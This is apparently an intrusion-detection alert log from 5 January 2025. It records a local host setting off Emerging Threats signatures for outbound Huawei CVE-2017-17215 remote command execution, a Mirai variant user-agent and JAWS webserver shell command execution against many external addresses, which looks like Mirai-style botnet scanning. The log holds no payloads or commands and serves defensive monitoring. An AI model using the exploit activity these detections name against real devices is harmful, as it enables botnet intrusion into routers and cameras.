2025-01-05T14:35:31.873671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37636	197.177.15.40	37215	TCP
2025-01-05T14:35:31.873672+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59616	136.94.127.254	80	TCP
2025-01-05T14:35:31.873672+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59616	136.94.127.254	80	TCP
2025-01-05T14:35:31.886989+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38710	41.253.67.30	37215	TCP
2025-01-05T14:35:31.887690+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50564	41.37.132.77	37215	TCP
2025-01-05T14:35:31.888804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44252	41.32.43.65	37215	TCP
2025-01-05T14:35:31.938412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60988	197.165.246.196	37215	TCP
2025-01-05T14:35:31.980607+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60584	197.164.24.102	37215	TCP
2025-01-05T14:35:31.981249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41602	41.248.180.73	37215	TCP
2025-01-05T14:35:31.982159+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58300	156.0.25.45	37215	TCP
2025-01-05T14:35:31.986039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46840	41.147.246.33	37215	TCP
2025-01-05T14:35:32.888983+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46292	196.0.233.94	80	TCP
2025-01-05T14:35:32.888983+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46292	196.0.233.94	80	TCP
2025-01-05T14:35:32.891607+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32956	156.43.106.14	37215	TCP
2025-01-05T14:35:32.949095+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54380	41.56.86.25	37215	TCP
2025-01-05T14:35:32.999171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58672	156.6.24.176	37215	TCP
2025-01-05T14:35:33.001810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48894	41.45.157.183	37215	TCP
2025-01-05T14:35:33.015471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59286	197.13.192.236	37215	TCP
2025-01-05T14:35:33.887094+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58736	19.42.249.78	80	TCP
2025-01-05T14:35:33.887094+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58736	19.42.249.78	80	TCP
2025-01-05T14:35:33.889038+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56918	50.147.62.207	80	TCP
2025-01-05T14:35:33.889038+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56918	50.147.62.207	80	TCP
2025-01-05T14:35:33.917987+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60398	2.88.62.141	80	TCP
2025-01-05T14:35:33.917987+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60398	2.88.62.141	80	TCP
2025-01-05T14:35:33.919925+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35482	138.50.110.119	80	TCP
2025-01-05T14:35:33.919925+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35482	138.50.110.119	80	TCP
2025-01-05T14:35:33.933658+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60256	190.0.5.183	80	TCP
2025-01-05T14:35:33.933658+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60256	190.0.5.183	80	TCP
2025-01-05T14:35:33.939226+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33078	52.223.136.181	80	TCP
2025-01-05T14:35:33.939226+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33078	52.223.136.181	80	TCP
2025-01-05T14:35:33.980437+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60076	197.174.141.65	37215	TCP
2025-01-05T14:35:33.996160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44262	41.31.8.215	37215	TCP
2025-01-05T14:35:34.001754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52664	41.39.24.149	37215	TCP
2025-01-05T14:35:34.905293+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53150	112.28.28.139	80	TCP
2025-01-05T14:35:34.905293+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53150	112.28.28.139	80	TCP
2025-01-05T14:35:34.918359+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38018	169.71.26.187	80	TCP
2025-01-05T14:35:34.918359+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38018	169.71.26.187	80	TCP
2025-01-05T14:35:34.918393+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50146	210.218.5.232	80	TCP
2025-01-05T14:35:34.918393+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50146	210.218.5.232	80	TCP
2025-01-05T14:35:34.920019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44806	181.78.170.231	80	TCP
2025-01-05T14:35:34.920019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44806	181.78.170.231	80	TCP
2025-01-05T14:35:34.920033+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57752	123.210.171.12	80	TCP
2025-01-05T14:35:34.920033+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57752	123.210.171.12	80	TCP
2025-01-05T14:35:34.920074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51290	156.213.81.16	37215	TCP
2025-01-05T14:35:34.920295+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56710	43.30.89.80	80	TCP
2025-01-05T14:35:34.920295+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56710	43.30.89.80	80	TCP
2025-01-05T14:35:34.922029+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38216	107.244.138.92	80	TCP
2025-01-05T14:35:34.922029+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38216	107.244.138.92	80	TCP
2025-01-05T14:35:34.933788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57626	181.27.255.42	80	TCP
2025-01-05T14:35:34.933788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57626	181.27.255.42	80	TCP
2025-01-05T14:35:34.933834+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45638	80.65.126.64	80	TCP
2025-01-05T14:35:34.933834+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45638	80.65.126.64	80	TCP
2025-01-05T14:35:34.934308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44014	156.194.41.46	37215	TCP
2025-01-05T14:35:34.935140+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35210	188.225.169.237	80	TCP
2025-01-05T14:35:34.935140+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35210	188.225.169.237	80	TCP
2025-01-05T14:35:34.935322+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40830	14.66.72.101	80	TCP
2025-01-05T14:35:34.935322+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40830	14.66.72.101	80	TCP
2025-01-05T14:35:34.935388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40952	197.80.91.181	37215	TCP
2025-01-05T14:35:34.937414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45954	14.205.79.220	80	TCP
2025-01-05T14:35:34.937414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45954	14.205.79.220	80	TCP
2025-01-05T14:35:34.937487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59256	41.103.56.206	37215	TCP
2025-01-05T14:35:34.942608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35480	41.58.144.66	37215	TCP
2025-01-05T14:35:34.942687+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38036	103.210.167.58	80	TCP
2025-01-05T14:35:34.942687+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38036	103.210.167.58	80	TCP
2025-01-05T14:35:34.942818+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52702	180.99.53.219	80	TCP
2025-01-05T14:35:34.942818+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52702	180.99.53.219	80	TCP
2025-01-05T14:35:34.952929+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56930	105.46.63.137	80	TCP
2025-01-05T14:35:34.952929+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56930	105.46.63.137	80	TCP
2025-01-05T14:35:34.954058+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39384	156.77.214.254	37215	TCP
2025-01-05T14:35:35.515847+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60042	160.121.124.240	80	TCP
2025-01-05T14:35:35.515847+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60042	160.121.124.240	80	TCP
2025-01-05T14:35:35.937554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55992	115.29.155.164	80	TCP
2025-01-05T14:35:35.937554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55992	115.29.155.164	80	TCP
2025-01-05T14:35:35.950040+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45336	89.70.7.95	80	TCP
2025-01-05T14:35:35.950040+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45336	89.70.7.95	80	TCP
2025-01-05T14:35:35.965058+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41686	121.5.127.2	80	TCP
2025-01-05T14:35:35.965058+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41686	121.5.127.2	80	TCP
2025-01-05T14:35:35.965080+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34466	79.28.1.23	80	TCP
2025-01-05T14:35:35.965080+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34466	79.28.1.23	80	TCP
2025-01-05T14:35:35.965132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41432	107.111.103.159	80	TCP
2025-01-05T14:35:35.965132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41432	107.111.103.159	80	TCP
2025-01-05T14:35:36.589474+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50702	195.35.132.109	80	TCP
2025-01-05T14:35:36.589474+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50702	195.35.132.109	80	TCP
2025-01-05T14:35:36.933886+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42952	124.156.129.95	80	TCP
2025-01-05T14:35:36.933886+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42952	124.156.129.95	80	TCP
2025-01-05T14:35:36.933897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57442	117.219.4.85	80	TCP
2025-01-05T14:35:36.933897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57442	117.219.4.85	80	TCP
2025-01-05T14:35:36.933905+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59796	37.183.32.149	80	TCP
2025-01-05T14:35:36.933905+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59796	37.183.32.149	80	TCP
2025-01-05T14:35:36.934470+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41648	125.126.209.5	80	TCP
2025-01-05T14:35:36.934470+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41648	125.126.209.5	80	TCP
2025-01-05T14:35:36.935401+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38312	175.85.160.50	80	TCP
2025-01-05T14:35:36.935401+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38312	175.85.160.50	80	TCP
2025-01-05T14:35:36.935527+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49036	149.158.121.221	80	TCP
2025-01-05T14:35:36.935527+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49036	149.158.121.221	80	TCP
2025-01-05T14:35:36.937355+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38262	175.80.234.157	80	TCP
2025-01-05T14:35:36.937355+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38262	175.80.234.157	80	TCP
2025-01-05T14:35:38.968705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55450	156.102.237.30	37215	TCP
2025-01-05T14:35:39.984602+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58104	197.33.17.56	37215	TCP
2025-01-05T14:35:39.985641+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33642	197.149.241.180	37215	TCP
2025-01-05T14:35:39.986160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44210	197.112.115.70	37215	TCP
2025-01-05T14:35:39.996136+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45230	41.149.56.194	37215	TCP
2025-01-05T14:35:39.996882+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59722	197.164.9.85	37215	TCP
2025-01-05T14:35:39.997942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45542	197.209.47.74	37215	TCP
2025-01-05T14:35:40.013836+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48896	197.207.231.80	37215	TCP
2025-01-05T14:35:41.980646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42362	41.98.26.162	37215	TCP
2025-01-05T14:35:41.980913+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34278	41.159.67.26	37215	TCP
2025-01-05T14:35:41.996328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57158	156.133.4.102	37215	TCP
2025-01-05T14:35:41.996335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43428	197.216.141.98	37215	TCP
2025-01-05T14:35:41.996900+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58626	156.51.163.150	37215	TCP
2025-01-05T14:35:41.997974+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33672	41.4.28.135	37215	TCP
2025-01-05T14:35:42.000008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45214	156.20.55.196	37215	TCP
2025-01-05T14:35:42.011951+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56416	146.218.198.165	80	TCP
2025-01-05T14:35:42.011951+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56416	146.218.198.165	80	TCP
2025-01-05T14:35:42.012747+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40002	197.14.74.197	37215	TCP
2025-01-05T14:35:42.013519+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36052	41.2.223.185	37215	TCP
2025-01-05T14:35:42.014813+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49920	156.184.48.29	37215	TCP
2025-01-05T14:35:42.015699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39056	156.237.234.88	37215	TCP
2025-01-05T14:35:42.033117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56316	197.73.251.126	37215	TCP
2025-01-05T14:35:42.033153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42258	156.225.66.51	37215	TCP
2025-01-05T14:35:42.709695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47784	41.71.254.28	37215	TCP
2025-01-05T14:35:43.058731+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37022	105.25.160.208	80	TCP
2025-01-05T14:35:43.058731+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37022	105.25.160.208	80	TCP
2025-01-05T14:35:43.074414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56366	41.41.84.87	37215	TCP
2025-01-05T14:35:43.074414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46518	102.232.163.9	80	TCP
2025-01-05T14:35:43.074414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46518	102.232.163.9	80	TCP
2025-01-05T14:35:43.074506+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52340	74.181.15.153	80	TCP
2025-01-05T14:35:43.074506+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52340	74.181.15.153	80	TCP
2025-01-05T14:35:43.074560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54758	41.77.226.229	37215	TCP
2025-01-05T14:35:43.074720+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44106	155.50.238.77	80	TCP
2025-01-05T14:35:43.074720+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44106	155.50.238.77	80	TCP
2025-01-05T14:35:43.074722+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47212	83.89.67.112	80	TCP
2025-01-05T14:35:43.074722+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47212	83.89.67.112	80	TCP
2025-01-05T14:35:43.075156+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36466	41.188.31.110	37215	TCP
2025-01-05T14:35:43.076090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52196	155.200.125.208	80	TCP
2025-01-05T14:35:43.076090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52196	155.200.125.208	80	TCP
2025-01-05T14:35:43.078330+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44614	17.88.70.8	80	TCP
2025-01-05T14:35:43.078330+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44614	17.88.70.8	80	TCP
2025-01-05T14:35:43.093681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37274	156.205.130.198	37215	TCP
2025-01-05T14:35:43.093811+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51872	205.143.146.97	80	TCP
2025-01-05T14:35:43.093811+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51872	205.143.146.97	80	TCP
2025-01-05T14:35:43.094748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51244	191.97.25.119	80	TCP
2025-01-05T14:35:43.094748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51244	191.97.25.119	80	TCP
2025-01-05T14:35:43.094812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34074	156.144.250.89	37215	TCP
2025-01-05T14:35:43.095588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38034	204.45.198.65	80	TCP
2025-01-05T14:35:43.095588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38034	204.45.198.65	80	TCP
2025-01-05T14:35:43.109526+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53892	88.101.176.113	80	TCP
2025-01-05T14:35:43.109526+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53892	88.101.176.113	80	TCP
2025-01-05T14:35:43.110552+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53616	13.174.131.85	80	TCP
2025-01-05T14:35:43.110552+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53616	13.174.131.85	80	TCP
2025-01-05T14:35:43.111195+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40702	65.207.111.121	80	TCP
2025-01-05T14:35:43.111195+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40702	65.207.111.121	80	TCP
2025-01-05T14:35:43.111276+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59196	136.135.59.46	80	TCP
2025-01-05T14:35:43.111276+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59196	136.135.59.46	80	TCP
2025-01-05T14:35:43.503779+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37114	177.128.198.226	80	TCP
2025-01-05T14:35:43.503779+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37114	177.128.198.226	80	TCP
2025-01-05T14:35:44.043454+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48066	73.31.118.38	80	TCP
2025-01-05T14:35:44.043454+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48066	73.31.118.38	80	TCP
2025-01-05T14:35:44.105887+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57038	148.76.48.135	80	TCP
2025-01-05T14:35:44.105887+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57038	148.76.48.135	80	TCP
2025-01-05T14:35:44.140927+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52570	138.120.13.45	80	TCP
2025-01-05T14:35:44.140927+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52570	138.120.13.45	80	TCP
2025-01-05T14:35:44.154258+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59074	213.12.187.153	80	TCP
2025-01-05T14:35:44.154258+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59074	213.12.187.153	80	TCP
2025-01-05T14:35:44.174049+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34662	210.194.2.98	80	TCP
2025-01-05T14:35:44.174049+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34662	210.194.2.98	80	TCP
2025-01-05T14:35:44.673304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56748	18.138.187.71	80	TCP
2025-01-05T14:35:44.673304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56748	18.138.187.71	80	TCP
2025-01-05T14:35:45.058920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56152	107.248.155.1	80	TCP
2025-01-05T14:35:45.058920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56152	107.248.155.1	80	TCP
2025-01-05T14:35:45.058920+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39194	212.199.77.43	80	TCP
2025-01-05T14:35:45.058920+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39194	212.199.77.43	80	TCP
2025-01-05T14:35:45.059068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41802	62.182.48.99	80	TCP
2025-01-05T14:35:45.059068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41802	62.182.48.99	80	TCP
2025-01-05T14:35:45.059213+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47836	65.66.176.250	80	TCP
2025-01-05T14:35:45.059213+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47836	65.66.176.250	80	TCP
2025-01-05T14:35:45.059215+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46414	206.186.245.246	80	TCP
2025-01-05T14:35:45.059215+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46414	206.186.245.246	80	TCP
2025-01-05T14:35:45.059482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53956	44.214.92.230	80	TCP
2025-01-05T14:35:45.059482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53956	44.214.92.230	80	TCP
2025-01-05T14:35:45.059508+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33216	209.100.246.12	80	TCP
2025-01-05T14:35:45.059508+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33216	209.100.246.12	80	TCP
